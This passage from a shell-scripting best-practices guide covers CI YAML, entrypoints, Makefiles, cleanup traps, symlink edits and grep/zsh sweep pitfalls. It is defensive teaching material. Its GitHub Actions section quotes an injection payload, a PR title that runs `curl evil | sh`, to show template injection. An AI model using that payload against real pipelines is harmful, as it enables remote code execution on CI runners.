# 04 — CI & Operational Scripts Shell embedded in CI YAML, container entrypoints, Makefiles, and long-running jobs. Smaller file; pipeline-wide hardening lives in `sota-devsecops`. ## 1. GitHub Actions (and CI generally) shell pitfalls **Default shell is not your preamble.** On Linux runners GitHub Actions runs `run:` steps with `bash -e` (no `pipefail`, no `-u`). Set it explicitly per workflow/job: ```yaml defaults: run: shell: bash # 'bash' keyword = bash --noprofile --norc -eo pipefail {0} ``` The bare `shell: bash` keyword adds `-o pipefail`; still no `-u` — put `set -u` (or the full `set -euo pipefail`) at the top of nontrivial steps. **`${{ }}` is template injection, not a variable.** Expressions are substituted into the script *before* the shell parses it — a PR title of `"; curl evil | sh; "` executes: ```yaml # CRITICAL - run: echo "PR title: ${{ github.event.pull_request.title }}" # GOOD — pass via env; shell sees a normal quoted variable - env: TITLE: ${{ github.event.pull_request.title }} run: printf 'PR title: %s\n' "$TITLE" ``` Treat ALL `github.event.*`, branch names, commit messages, issue/PR text as attacker- controlled. Lint with `actionlint` (embeds ShellCheck for run blocks) and audit with `zizmor` (template injection, credential persistence, excessive permissions). Full taxonomy → `sota-devsecops`. **Multiline `run:` blocks**: each step is one script — a failing middle line only stops the step because of `-e`; verify the effective shell options for your CI (GitLab uses `sh`/`bash` without pipefail unless you set it; Jenkins `sh` step is `/bin/sh -xe`). YAML quoting compounds shell quoting: prefer `run: |` literal blocks; avoid `run: "..."` double-quoted YAML where `\` and `"` get re-escaped. **Step outputs/files**: quote and delimit anything written to `$GITHUB_OUTPUT`/`$GITHUB_ENV` — multiline or attacker-influenced values need a random heredoc delimiter, or they inject extra variables: ```bash { printf 'body<<%s\n' "$delim"; printf '%s\n' "$body"; printf '%s\n' "$delim"; } >> "$GITHUB_OUTPUT" ``` **Beyond ~30 lines, move the step body to a committed script** (`ci/build.sh`): testable locally, lintable by ShellCheck directly, diffable, and immune to YAML quoting. ## 1a. Never batch a state-changing command with exploratory reads Batching independent calls into one invocation is right for **reads** and wrong the moment one element mutates: the reads around it then describe a state that no longer exists, and re-running the batch repeats the mutation. ```bash # BAD — three "checks", but the third destroys what the first just printed cosign public-key --sk # read the key ykman piv certificates export f9 - # read the attestation cert cosign piv-tool generate-key # <-- REGENERATES THE KEY ``` Field-reported exactly so: the recorded public key was stale within the same command. Harmless there because nothing had been signed with it — against a provisioned slot the same shape destroys a key in use. **Run mutations alone and read back in a separate call.** The tell is a verb: `generate`, `create`, `init`, `reset`, `rotate`, `delete`, `set-`, `apply`. If one appears in a batch, split it out. Note this cuts *against* the efficiency habit of grouping independent calls — the habit is correct and does not distinguish reads from writes, which is precisely why a mutation reads as "one more check". ## 1b. Separate a gate from the thing it gates with `&&`, never `;` The one-liner that runs a check and then does the irreversible thing is where the check quietly stops mattering: ```bash # BAD — the push runs whether or not the gate passed. `;` ignores exit status. ./scripts/check.sh; git push ./scripts/check.sh | tail -2; git push # worse: the pipe hides it too # GOOD — the gate is a precondition, not a preamble ./scripts/check.sh && git push ./scripts/check.sh || { echo "gate failed, not pushing" >&2; exit 1; } git push ``` This is the *interactive* twin of `set -e` (§1, rules/01 §2): in a script errexit would stop you; typed at a prompt or joined with `;` in a CI `run:` block, nothing does. The tell is that you saw the failure scroll past and the next command ran anyway. Two aggravating factors worth naming, because they make the failure invisible rather than merely ignored: - **A pipe rewrites the status.** `check.sh | tail -2` reports `tail`'s success, so even `&&` would not save you — read the producer's status (`${PIPESTATUS[0]}` in bash, `${pipestatus[1]}` in zsh, rules/01 §3) or drop the pipe. - **Diff-based checks can legitimately differ before and after a push**, because their merge base changes. Re-run the gate *after* the branch exists upstream before concluding the tree is broken — and never let the first, pre-push result authorise the push. ## 2. Container entrypoint scripts **`exec` the final process — non-negotiable.** Without `exec`, the shell stays as PID 1, your app is a child, and `docker stop`/Kubernetes sends SIGTERM to the *shell*, which does not forward it; the app gets SIGKILL after the grace period (data loss, dropped requests). ```bash #!/usr/bin/env bash set -euo pipefail # setup: render config, wait-for-deps, migrations... exec "$@" # replaces shell; app becomes PID 1, receives signals directly ``` - `CMD`/args pass through as `"$@"` — keeps `docker run image alternate-command` working. - PID 1 extras: no default reaping of orphaned zombies and some default-signal quirks — if the app forks workers and doesn't reap, add a minimal init (`docker run --init`, tini, or Kubernetes' shared PID namespace) rather than shell loops. - If the entrypoint must stay resident (rare — e.g., multi-process wrapper), it must `trap 'kill -TERM "$child"' TERM INT`, start the child with `&`, and `wait "$child"` in a loop (re-`wait` after the trap fires to collect the real status). **Privilege drop**: run the image as root only long enough to fix volume permissions, then drop — `exec gosu app:app "$@"` or `exec su-exec app:app "$@"` (alpine). Never `sudo` (TTY/signal/env baggage) and never `su - app -c "..."` (re-parses the command string — injection; and signals stop at `su`). Prefer `USER app` in the Dockerfile when no root setup is needed at all. **Dialect**: alpine/distroless-adjacent base images have no bash — entrypoints there are `#!/bin/sh` + busybox-clean (rules/02 §5), or you install bash explicitly. CRLF line endings in an entrypoint produce `/usr/bin/env: 'bash\r': No such file` — enforce LF via `.gitattributes` (`*.sh text eol=lf`). ## 3. Makefile shell gotchas - **Each recipe line is a separate shell.** `cd dir` on one line does not affect the next. Either chain with `&&` + backslash continuations, or use `.ONESHELL:` (GNU make ≥3.82) to run the whole recipe in one shell. - **Make's default shell is `/bin/sh`** and default flags are `-c` only — no `-e`! A failing command in the middle of a `cmd1; cmd2` line does not stop the recipe. Set: ```make SHELL := bash .SHELLFLAGS := -euo pipefail -c .ONESHELL: .DELETE_ON_ERROR: # remove half-built targets when a recipe fails MAKEFLAGS += --no-builtin-rules ``` With `.ONESHELL`, `.SHELLFLAGS` must include `-c` last; without `-e` semantics only the last line's status fails the recipe. - **`$$` escaping**: make expands `$` itself — shell variables in recipes are `$$var`, `$$(cmd)`, awk fields `$$1`. A single `$var` silently expands a (usually empty) make variable — classic silent-corruption bug: ```make # BAD — $f is the make variable 'f' (empty); loop body runs once with empty name clean-logs: for f in *.log; do rm -f $f; done # GOOD clean-logs: for f in ./*.log; do rm -f -- "$$f"; done ``` - `@` hides commands and their context when they fail — avoid on nontrivial lines, or pair with explicit error messages. - Recipes longer than ~5 lines: move to `scripts/*.sh` and call it — ShellCheck can't see inside Makefiles, and `$$`-doubling makes review error-prone. ## 4. Long-running script logging Deploy/migration/batch scripts that run for minutes need logs usable during *and* after. - **Timestamps on every line.** Pipe through a stamper rather than littering `date` calls: ```bash log() { printf '%(%Y-%m-%dT%H:%M:%S%z)T %s\n' -1 "$*"; } # bash ≥4.2, no fork main 2>&1 | while IFS= read -r line; do log "$line"; done # stamp child output # or: ts '%FT%T%z' (moreutils), or systemd-cat / logger for the journal/syslog ``` - **Line buffering**: a script piping into `tee`/a file sees child stdout switch to 4–64 KB block buffering — logs appear in bursts and the tail is lost on crash. Force line mode for chatty children: `stdbuf -oL -eL cmd | tee "$log"` (GNU coreutils). - Standard capture pattern — console and file, stderr distinguishable: ```bash exec > >(stdbuf -oL tee -a "$logfile") 2>&1 ``` Note: process substitution may still be flushing when the script exits; for strict ordering on exit, `wait` is not available for procsubs portably — accept it or log to file directly and `tail -f` separately. - Progress/heartbeat for anything > ~60s silent (CI runners kill "stalled" jobs; e.g. `printf 'still waiting for %s (%ds)\n' "$svc" "$elapsed"` every 15–30s in wait loops). - Log decisions and inputs (versions, target, flags) at start; final status + duration at end; everything through the stderr/stdout discipline of rules/02 §3 so CI annotates errors correctly. - Cron jobs: cron's environment is minimal (PATH=/usr/bin:/bin, no profile) — set PATH in-script (rules/03 §3); redirect both streams to a log or you get silent failures / mail spam: `*/5 * * * * /opt/job.sh >>/var/log/job.log 2>&1`. ## Killing a backgrounded build orphans its children A backgrounded build is a process **tree**. `kill <pid>` reaps the shell you started and leaves the compiler running: ``` kill 92354 # the runner shell — returns instantly, looks done # still running: # 97262 cargo test --tests --manifest-path … --target-dir …/llvm-cov-target # 97082 cargo-llvm-cov llvm-cov --workspace --all-features … # 8676 …/debug/deps/integration-… <- from an EARLIER run ``` Why it matters beyond tidiness: restart now and two builds contend for one `target/`, and **the second run's failure gets attributed to the change you are testing**. That is the same misattribution as `sota-code-security` rules/15 §2.1's sixth mode, arriving through the environment instead of the harness. Kill the **group**, having started it in its own: `setsid cmd &` then `kill -- -"$pgid"`. (`rules/05` §3 shows the inside-the-script half — `trap 'trap - TERM; kill -TERM -- -$$'` forwards a signal to your own group; this is the same mechanism applied from outside.) Otherwise sweep by pattern — and **verify the sweep before restarting**, because `pkill -f` matches the sweeping shell's own argv (`rules/01` §3) and a survivor is invisible until it corrupts the next run. ## Audit checklist - [ ] **Background builds are killed by process group, not by pid**, and the sweep is verified before a restart — an orphaned compiler contends for `target/` and the next run's failure then reads as a defect in the change under test - [ ] **No compound invocation mixes reads with a mutation** (§1a). Grep batched commands for `generate|create|init|reset|rotate|delete|set-|apply`; a mutation among reads makes every reading around it stale and repeats on re-run. High on hardware, where the mutation is usually irreversible. - [ ] **Gate-then-act joined by `;`**: `grep -rnE '\.(sh|py)[^&|]*; *(git (push|tag|commit)|kubectl|terraform apply|rm )' --include='*.sh' .` — a check whose exit status the next command ignores. Also flag `check | tail`/`| head` before an action: the pipe hides the producer's status. - [ ] Workflows: `grep -rn '\${{' .github/workflows/ | grep -i 'head_ref\|pull_request\.\(title\|body\)\|commits\|issue\.\(title\|body\)\|comment\.body'` inside `run:` → CRITICAL (injection); fix via `env:` indirection. - [ ] `grep -rLn 'shell: bash\|pipefail' .github/workflows/*.yml` — steps relying on default shell semantics → MEDIUM. - [ ] `>> "$GITHUB_OUTPUT"` / `$GITHUB_ENV` writes of non-constant values without heredoc delimiters → HIGH. - [ ] Run `actionlint` (embeds ShellCheck) and `zizmor` on workflows; `hadolint` on Dockerfiles (DL4006 pipefail-in-RUN, SC-rules inside RUN). - [ ] Entrypoints: `grep -rn '"\$@"\|exec ' docker/ *entrypoint*` — final command lacking `exec` → HIGH (signal loss); `su -c`/`sudo` for privilege drop instead of gosu/su-exec/USER → HIGH. - [ ] `#!/usr/bin/env bash` entrypoint with alpine/busybox base image in Dockerfile → HIGH. - [ ] `git ls-files --eol -- '*.sh'` showing `w/crlf` → HIGH for any image-bound script; missing `*.sh text eol=lf` in `.gitattributes` → LOW. - [ ] Makefiles: missing `.SHELLFLAGS`/`SHELL := bash` where recipes use bashisms; `grep -n '\$[a-zA-Z{(]' Makefile` inside recipes for single-`$` shell vars (silent empty expansion) → HIGH; multi-line recipes without `&&` or `.ONESHELL`. - [ ] Missing `.DELETE_ON_ERROR` in Makefiles producing artifacts → MEDIUM. - [ ] Long-running scripts: no timestamps, no heartbeat in wait loops, `tee` without `stdbuf -oL` for crash-time tails → LOW/MEDIUM. - [ ] Crontabs/`cron.d`: entries without output redirection or with implicit PATH → MEDIUM. -
05-constructs-and-cleanup.md 12.8 KB
# 05 — Constructs & Cleanup: arrays, IFS, traps, tests, globbing Scope: the constructs a script is assembled from, and the way each of them fails. Split out of `rules/01` at v1.37.0, which keeps the safety baseline — shebang, `set -e` semantics, quoting, and the zsh deviations that bite pasted commands. Quoting is `rules/01` §3; this file is what you reach for once the expansion itself is correct. ## 1. Arrays for command building (SC2089/SC2090/SC2086) ```bash # BAD — flags in a string; quoting inside the string does NOT survive expansion opts="-v --exclude '*.log'" rsync $opts src/ dst/ # GOOD — array; conditional construction is natural rsync_opts=(-a --delete) [[ ${VERBOSE:-} ]] && rsync_opts+=(-v) [[ ${EXCLUDE:-} ]] && rsync_opts+=(--exclude "$EXCLUDE") rsync "${rsync_opts[@]}" -- "$src/" "$dst/" ``` Empty-array expansion under `set -u` errors on bash < 4.4; if you must support old bash, use `${arr[@]+"${arr[@]}"}`. On bash ≥ 4.4 `"${arr[@]}"` on an empty array expands to zero words, which is what you want. ## 2. IFS handling - Never set `IFS` globally to "fix" splitting — fix the quoting instead. A global `IFS=$'\n'` changes behavior of every subsequent `read`, `$*`, and unquoted expansion. - Scope IFS to the single command that needs it: ```bash # GOOD — IFS scoped to read; -r stops backslash mangling while IFS= read -r line; do process "$line" done < "$input" # GOOD — split a known-delimited string into an array, scoped IFS=, read -r -a fields <<< "$csv_line" ``` - `read` without `-r` is almost always a bug (SC2162). `IFS=` before `read` preserves leading/trailing whitespace. ## 3. trap-based cleanup and mktemp Every script that creates temp files, locks, background jobs, or partial state gets: ```bash tmpdir="" cleanup() { local status=$? # idempotent: safe to run twice, guards every action [[ -n $tmpdir && -d $tmpdir ]] && rm -rf -- "$tmpdir" return "$status" # don't mask the real exit code } trap cleanup EXIT tmpdir=$(mktemp -d) # never $$-based or hardcoded /tmp names (race + symlink attack) ``` - `trap ... EXIT` covers normal exit, `set -e` exits, and (in bash) signal-initiated exits *if* the signal traps re-raise. Standard pattern when you need signal-specific behavior: ```bash trap cleanup EXIT trap 'trap - TERM; kill -TERM -- -$$' INT TERM # forward to process group, then EXIT trap runs ``` - Cleanup must be **idempotent** (EXIT can follow INT) and must not assume variables are set (it can run before initialization completes — hence `tmpdir=""` first, guards inside). - Don't put logic after `exit` relying on the trap having "finished": the trap *is* the end. - `mktemp -d` for dirs, `mktemp` for files; honor `TMPDIR`. GNU vs BSD `mktemp` differ on templates — `mktemp -d "${TMPDIR:-/tmp}/myscript.XXXXXX"` is portable enough; plain `mktemp -d` works on both modern GNU and macOS. ## 3a. Sourcing a script to test one function relocates the script "Run one function from a large script" is how shell gets tested at all, and both obvious moves fail — the second one **silently**: ```bash # attempt 1 — strip the entry point and eval the rest eval "$(sed '$d' scripts/ci-local.sh)" # -> BASH_SOURCE[0]: unbound variable # the script derives REPO_ROOT from BASH_SOURCE, which eval never sets # attempt 2 — strip it into a temp file and source THAT sed '$d' scripts/ci-local.sh > /tmp/lib.sh && source /tmp/lib.sh # -> no error at all. REPO_ROOT is now /tmp, because BASH_SOURCE points at the COPY, # and the script's own `cd -- "$REPO_ROOT"` has moved you out of the repository ``` Attempt 2 is the dangerous one: it succeeds. Every `git` call in every function under test then fails, and the harness emits a **correct, well-written diagnostic about healthy code** — field-measured as `the compiled-in scan found 0 path(s); it has stopped working`, from a scan that was fine. That is `sota-code-security` rules/15 §2.1's sixth failure mode: the harness is newer than the subject, so it owns the prior. **The better fix is in the script, not the test.** Guard the entry point so the file can be sourced as a library: ```bash [[ ${BASH_SOURCE[0]} == "$0" ]] && main "$@" ``` Failing that, source the copy and `cd` back before calling anything: ```bash bash -c 'source "$SCRATCH/lib.sh"; cd "$REAL_REPO_ROOT"; the_function_under_test' ``` Any script that resolves its own root from `BASH_SOURCE`/`$0` — which is the correct way to do it — carries this hazard for anyone who sources it. ## 3b. In-place edit on a symlink — and why `sed -i` is the trap, not the fix `sed -i` and `perl -pi` are treated as interchangeable spellings of "edit this file in place". They are not — and the difference is **per implementation, not per tool**, which is the part that bites: the safe behaviour exists only on the platform you develop on. Measured 2026-09-13, editing a symlink that points at a regular file: | implementation | `-i` on a symlink | exit | the link afterwards | |---|---|---|---| | **BSD sed** (macOS `/usr/bin/sed`) | refuses: `in-place editing only works for regular files` | **1** | intact | | **GNU sed 4.9** (Debian) | **silently replaces the link with a regular file** | **0** | gone | | **BusyBox sed 1.37.0** (Alpine) | **silently replaces the link with a regular file** | **0** | gone | | **perl -pi** (5.34.1) | **silently replaces the link with a regular file** | **0** | gone | | GNU sed `-i --follow-symlinks` | edits the **target**, link preserved | 0 | intact | In every silent case the **target is never modified**, so the two paths diverge without a word: the former target still holds the old content, and what was a view of it is now an independent copy. **The dangerous shape is the platform split, and it runs the wrong way.** A developer on macOS types `sed -i`, sees it refuse on a symlink, and concludes the idiom is safe. The same script in CI — Debian, Alpine, any Linux image — destroys the link silently and exits 0. The machine where you *test* the safety is the only machine that has it. - **Do not rely on `sed -i` refusing.** That is BSD behaviour, not `sed` behaviour. The only portable assumption is that an in-place edit **replaces** a symlink. - **Enumerate regular files when you sweep**, rather than paths: `git ls-files -s '*.md' | awk '$1=="100644"{print $4}'` — mode `120000` is a symlink. `find . -type f` excludes them for the same reason; `find . -type l` finds them. - **`--follow-symlinks` is GNU-only**, so a script that needs it is a script that has just become non-portable — say so in a comment rather than discovering it on a BSD runner. - **`git status` shows this as `T` (typechange), not `M`** — one character apart in a list you are skimming, and the only signal you get. Why it is worth a rule rather than a footnote: **a repository's symlinks are usually load bearing, and a sweep is exactly what destroys them.** Field-reported the same day: `git ls-files '*.md' | xargs perl -pi -e …`, run to hand-test a probe, converted a repo's tracked `CLAUDE.md` and `GEMINI.md` into regular files, and `git add -A` staged the type change before anyone noticed. ## 3c. A hard link does not survive the way tools actually update files §3b is an in-place edit destroying a **symlink**. This is the mirror: reaching for a **hard** link to avoid that, and getting a failure mode that is strictly worse because nothing breaks. Measured 2026-09-13: ```console $ ln real.txt hard.txt # same inode: 51720584 51720584, contents agree $ printf 'v2\n' > .tmp && mv -f .tmp real.txt # how an atomic writer updates $ cat real.txt; cat hard.txt v2 v1 # inodes now 51720587 vs 51720584 $ ln somedir somedir2 ln: somedir: Is a directory ``` **Nothing errors and no link is broken** — `hard.txt` is simply a stale file that looks correct. Compare a symlink, whose failure mode is loud and obvious. - **Almost nothing edits a file in place.** git never does; nor does any "atomic write" (`mktemp` + `mv`), which is most config-writing tools, most editors, and most formatters. Each one writes a new inode and renames over the old name, and every hard link to the old inode silently keeps the old content. - **You cannot hard-link a directory at all**, so any design that links *directories* into place is out before you start — a symlink to a directory also picks up new files inside it for free, which a per-file link can never do. - **Prefer the symlink and accept its loud failure.** "Broken link" is an error message; "stale content that looks correct" is a bug report six weeks later. ## 4. Test constructs, printf, declarations - `[[ ]]` over `[ ]` in bash: no word splitting of unquoted vars, `&&`/`||` inside, `=~` regex, `<`/`>` string comparison without escaping. Use `[ ]` only in POSIX `sh`. - Arithmetic: `(( count > 3 ))`, not `[ $count -gt 3 ]`. But beware `(( x ))` returns nonzero when x=0 — under `set -e`, `(( count++ ))` with count=0 kills the script; write `(( ++count ))` or `count=$((count + 1))`. - `printf` over `echo` for any variable data: `echo` behavior with `-n`, `-e`, and backslashes is implementation-defined (dash interprets escapes by default; a variable that *is* `-n` vanishes). `printf '%s\n' "$var"` is exact (SC2028 hints at this). - `local` for every function variable (SC2034 finds unused leaks); remember the SC2155 split-declaration rule from `rules/01` §2. - `readonly` (or `declare -r`) for constants and config resolved at startup — catches accidental reassignment at the point of the bug: ```bash readonly SCRIPT_NAME=${0##*/} readonly DEFAULT_REGION=${REGION:-eu-central-1} ``` ## 5. Globbing pitfalls and never parsing ls - A glob that matches nothing stays **literal**: `rm ./*.tmp` with no matches tries to remove the file `./*.tmp`. Choose explicitly: - `shopt -s nullglob` — no match → zero words (right for loops over files; beware: makes `ls *.tmp` become bare `ls`). - `shopt -s failglob` — no match → error (right for "these files must exist" scripts). - `for f in ./*` not `for f in *` — a file named `-rf` becomes an option otherwise; same reason as `--` separators. - Dotfiles are excluded from `*` unless `shopt -s dotglob`. - **Never parse `ls`** (SC2012/SC2045): output is for humans, mangles non-ASCII/newline names, and splits on whitespace. ```bash # BAD for f in $(ls /data); do ... count=$(ls | wc -l) # GOOD for f in /data/*; do [[ -e $f ]] || continue # or rely on nullglob ... done count=$(find /data -mindepth 1 -maxdepth 1 -printf '.' | wc -c) # GNU; or a glob-into-array files=(/data/*); count=${#files[@]} # with nullglob ``` - [ ] Any command **pasted into an interactive shell** that passes a glob as a flag value (`--include`, `--exclude`, `-name`) has it **quoted** — unquoted, zsh's `NOMATCH` aborts the command and, under `2>/dev/null`, the result is indistinguishable from a genuine no-match (`rules/06` §1). Every sweep read as an *absence* has been positive-controlled against a pattern known to be present. ## Audit checklist - [ ] **Any hard link used to keep two paths in sync?** (§3c) It survives nothing that writes-and-renames — git, `mktemp`+`mv`, most editors and formatters — and the stale copy is a valid file with no broken link and no error. Directories cannot be hard-linked at all. Prefer a symlink: its failure is loud. - [ ] **Any in-place sweep (`perl -pi`, `sed -i`) over a path list that could contain a symlink?** (§3b) Measured: **GNU sed, BusyBox sed and `perl -pi` all replace the link with a regular file at exit 0**, target untouched, the two copies then diverging. Only **BSD** sed refuses — so a macOS developer sees the safe behaviour and CI does not. Never rely on the refusal; enumerate regular files instead (`git ls-files -s | awk '$1=="100644"{print $4}'`, or `find -type f`), and remember `git status` reports this as `T`, not `M`. - [ ] **Scripts that resolve their own root guard their entry point** (§3a) — `[[ ${BASH_SOURCE[0]} == "$0" ]] && main "$@"` — so a caller can source them to test one function without the script `cd`-ing itself somewhere else and failing every `git` call - [ ] SC2046 (unquoted `$(...)`), SC2068 (unquoted `$@`/array), SC2048 (`$*`). - [ ] SC2012/SC2045 — `grep -rn 'in \$(ls\|ls .*| *wc\|ls .*| *grep' --include='*.sh'` - [ ] SC2162 — `grep -rn 'read [^-]' --include='*.sh'` (missing `-r`). - [ ] Temp files: `grep -rn '/tmp/[a-zA-Z]\|\$\$' --include='*.sh'` — predictable names, `$$`-suffixed paths → HIGH (race), must be `mktemp`. - [ ] Cleanup: every `mktemp` has a reachable `trap ... EXIT`; cleanup function is idempotent and preserves `$?`. - [ ] `grep -rn 'echo .*\$' --include='*.sh'` — variable data through `echo` (SC2028 area); MEDIUM unless value is constrained. - [ ] Glob loops without nullglob/failglob or `[[ -e $f ]]` guard. -
06-ad-hoc-commands.md 26.6 KB
# 06 — Ad-hoc commands: the ones you type to check something Scope: the commands nobody commits — a sweep, a probe, a one-liner pasted from a checklist, a quick container copy. They are unlinted, unreviewed, and run against the system under test, so when they go wrong they produce a false finding **about the product**, or damage the thing they were inspecting. Split out of `rules/01` at v1.38.0 — its zsh, sweep and blast-radius sections became §1, §2 and §3 here. The blast-radius and process-table sections moved on to `rules/08` at v1.42.2, keeping their numbers, and the listing and selection sections (§5, §5a) to `rules/09` (· v1.43.1) the same way. Quoting itself stays in `rules/01` §3, which this file assumes you have read. ## 1. zsh is not bash — the deviations that bite *pasted* commands Committed scripts are immune: every one carries a `#!/usr/bin/env bash` shebang, so bash runs them whatever your login shell is. The exposure is **interactive, pasted, and agent-issued commands** — including the audit checklists in this library, which are written to be pasted, and **macOS's interactive shell is zsh**. Check the operator's shell rather than assuming; then treat the table below as live. | | bash | zsh | how it fails | |---|---|---|---| | unquoted `$var` with spaces **or newlines** — incl. any `$(…)` file list | splits into words | **joins** into one argument (`rules/01` §3) | **loudly** — a usage error, exit 2, from the callee — but a *file-list* command then searches **nothing**, and empty output reads as a clean tree | | `$?` after a pipeline | last stage (`${PIPESTATUS[0]}` for the first) | same, but `${pipestatus[1]}` (`rules/01` §3) | **quietly** — a wrong status, read as truth | | unquoted glob in a flag value | passed through **literally**, command runs | `NOMATCH` **aborts the command** | **silently** — and it fakes a clean result | **The third is the dangerous one: a failed glob means the command never runs at all.** zsh's `NOMATCH` is on by default, so a glob matching nothing is a hard error rather than a literal word. Verified on zsh 5.9 / bash 5.3.15 / Darwin 25.6.0: ```zsh grep -rn --include=*.md TODO . # zsh: "no matches found: --include=*.md" — grep NEVER RAN # bash: works, because the word is passed through grep -rn --include='*.md' TODO . # correct in both ``` **Why it earns a rule of its own: with `2>/dev/null` it is byte-identical to a real no-match.** That redirect is the standard idiom for hiding `Permission denied` noise in a recursive search, and it also hides the one line that would have told you: ```zsh out=$(grep -rn --include=*.md hello . 2>/dev/null) # BROKEN: stdout empty, exit 1 out=$(grep -rn --include='*.md' ABSENT . 2>/dev/null) # GENUINE: stdout empty, exit 1 ``` Same stdout, same exit code. **An audit sweep written this way cannot distinguish "the codebase is clean" from "my search never executed"** — a false-clean produced by the tool these checklists are pasted into — `sota-code-security` rules/15's instrument failure arriving through the shell. Rules: - **Quote every glob you intend the *callee* to interpret** — `--include`, `--exclude`, `find -name`, `rsync --filter`, and any flag taking a pattern as its value. This is the opposite of `rules/01` §3's advice for filenames: there you quote so *your* shell does not split; here you quote so your shell does not *expand* at all. - **`setopt nonomatch` is the wrong fix.** It changes global shell behaviour to hide a quoting bug and would mask genuine typos in real filename globs. - **Positive-control any sweep whose output you will read as an absence** (rules/04): run it once against a pattern you know is present, and see the hit. A sweep that has never been shown capable of producing a hit is not evidence of a clean tree — the same known-good/known-bad discipline `sota-code-security` rules/11 §7 asks of any instrument. - Do not rely on the exit status reaching you. Measured: whether the *rest* of the command list still runs depends on the failing command — `grep --include=*.md x . ; echo hi` prints `hi`, while the same glob passed to a **builtin** (`echo`, `true`) aborts the whole list, so the follow-up never runs either. Either way the intended command did not. ## 2. The sweep that never ran, part two: `grep -r` and symlinked directories §1 is about a *quoting* bug stopping the command. This is the command running fine and **traversing less than you think**. **`-r` vs `-R` is not one rule — it depends on which `grep` you have.** Re-measured 2026-09-09 on macOS against a target reachable **only** through the link (the first measurement of this table put the target inside the searched root as well, so every row found it by walking the real directory and the distinction was invisible — a vacuous fixture, `sota-testing` rules/06 §6.3): | binary | symlinked dir **as the argument** | symlinked dir **met in traversal** | |---|---|---| | ugrep 7.8.4 **and** GNU grep 3.11, `-r` | followed | **skipped, silently** | | ugrep 7.8.4 **and** GNU grep 3.11, `-R` | followed | followed | | **BSD grep 2.6.0** (macOS `/usr/bin/grep`) **`-r` and `-R` alike** | **skipped** — unless the argument carries a **trailing slash** (`linked/`) | **skipped, silently** | | `rg` (defaults) | followed | **skipped** — `--follow` follows | ```text scan/plain.md scan/linked -> ../outside outside/target.md holds the needle ugrep -r → 1 of 2 -R → 2 of 2 /usr/bin/grep -r → 1 of 2 -R → 1 of 2 (find -L finds both; the file IS readable) rg → 1 of 2 --follow → 2 of 2 ``` **So on macOS's default grep, `-R` is not the fix**, and "use `-R`" is GNU/ugrep advice wearing a generic name. Re-measured 2026-09-13, GNU grep 3.11 matched ugrep cell for cell — the split is **BSD versus everyone else**. Verify on the binary in front of you, with a positive control that the file is readable through the link — else a permission error and a skipped symlink look alike. So **a recursive search over any tree that may contain symlinked directories under-reports, and the under-report is an empty or short result that reads as a clean answer.** It bites hardest where the tree is *made* of links: a skills or plugin directory installed by symlink, a monorepo with linked packages, `node_modules` with workspace links, a dotfiles checkout. Use `-R` when you mean "follow", and say which you used when you report a count. **Control the search in the SAME invocation.** §1 says to positive-control a sweep; the sharpening is *where*. A control run separately is a different command against a possibly different tree, and it is the one people skip when the result looks plausible. Put a term you know is present into the same run and read both numbers: ```bash files=("${(@f)$(git ls-files '*.md')}") # zsh; see `rules/01` §3 printf 'control=%s hits=%s\n' \ "$(grep -lF 'KNOWN_PRESENT' $files | wc -l)" "$(grep -lF "$TERM" $files | wc -l)" ``` A control of **0** means the sweep is broken and the `hits=0` beside it means nothing. This is `sota-code-security` rules/15 §2.2's known-good, at one-liner scale. **Where you have nothing to control *with*, print a denominator instead.** A positive control needs a term you already know is present — unavailable exactly where this fails most: an **extraction** or **fetch** into a blob you have never opened. Field-reported, six empty results in one session each read as a fact about the subject — `cpio -i` listed 0 files from an RPM (it cannot read zstd payloads), `tar -tzf` found 0 members in a valid 39.8 MB archive, a fetch returned an empty page (an anti-bot challenge), `apt-cache depends` printed nothing (wrong query shape). Every one was the reader failing, and every one rendered as `0`. The fix is mechanical and needs no prior knowledge of the target: make each extraction, fetch or search emit **what it got** beside **what it found**, in the same invocation. ```bash # BAD — a fact about the subject, or a broken reader. Indistinguishable. rpm2archive -n "$RPM" | tar -xO ./boot/config-* | grep -c CONFIG_BPF_LSM # GOOD — the denominator localises the failure in one step printf 'ARCHIVE_BYTES:%s MEMBERS:%s CONFIG_LINES:%s\n' \ "$(stat -f%z "$TGZ")" "$(tar -tzf "$TGZ" | wc -l)" "$(grep -c '^CONFIG' "$CFG")" ``` `CONFIG_LINES:0` alone is a finding about the kernel. `CONFIG_LINES:0` beside `ARCHIVE_BYTES:39802880 MEMBERS:0` is a finding about your `tar` invocation. Same rule for a store rather than a file — an empty result carries the store's identity *and* its inventory: `sota-code-security` rules/13 §6. **And where a command *reports* what it did, read the result instead.** `cargo clean` printed `Removed 740751 files, 75.8GiB total` — specific and authoritative — while `df` showed nothing freed, a snapshot still holding the blocks. Two instruments caught it by luck, not by design. **Every searcher has silent-exclusion defaults, and they differ — so the fix is naming them, not switching tool.** Measured on one tree holding four matches (plain, hidden, gitignored, behind a symlinked dir): | searcher | found | what it dropped, silently | |---|---|---| | `rg` (defaults) | **1 of 4** | gitignored, hidden, and symlinked-dir contents | | `grep -R` (see below) | 3 of 4 | the gitignored file | | `rg --no-ignore` alone | **2 of 4** | **still every hidden dir** — and it searched *more* files | | `rg --hidden --no-ignore --follow` | **4 of 4** | — | **`--no-ignore` is the trap inside the trap.** It is the flag that *sounds* like "stop excluding things", so it is the one reached for — and it does not touch hidden directories at all. Because it searches strictly more files than the default (measured on one repo: **1042 vs 404**), the run reads as the more thorough one while missing the same matches. An agent-rules tree is exactly what this hides: `rg PAT .` never enters `.claude/`, `.github/` or `.githooks/`. Only `--hidden` reaches them (404 → 576 files, 2 → 4 matching files). **And check what your `grep` actually is** (`type grep`): agent and IDE environments routinely alias it. In one measured case it was a shell *function* running `ugrep -G --ignore-files --hidden -I --exclude-dir=.git …` — so it honoured `.gitignore` (which GNU grep does not) and skipped binaries, neither of which appears in any manual the reader would consult. **An absence measured through an unexamined wrapper is not an absence.** **Two tools can answer to the same name.** Measured in one agent environment: `grep` was a shell *function* running **ugrep 7.8.4**, except that any `-z`/`-Z` argument was routed to `command grep` — **BSD grep 2.6.0**, where `-z` means null-data rather than *search inside archives*. So `grep --version` and `command grep --version` named different programs, and one flag decided which one ran. Call the binary you mean (`ugrep …`, `rg …`) when the semantics matter, and check `type grep` before trusting a sweep's flags. Worth knowing rather than mandating, since availability varies: **ugrep** carries the features an audit sweep actually wants — `--bool` for `A AND B NOT C` queries (verified working), `-z` to search inside archives and compressed files, `-Z` fuzzy, `-Q` interactive; **ripgrep** is fastest and gitignore-aware by default (which is an exclusion, see the table above); **ast-grep** answers construct questions regex cannot. Use what is installed, and say which. Choose by the question, not by 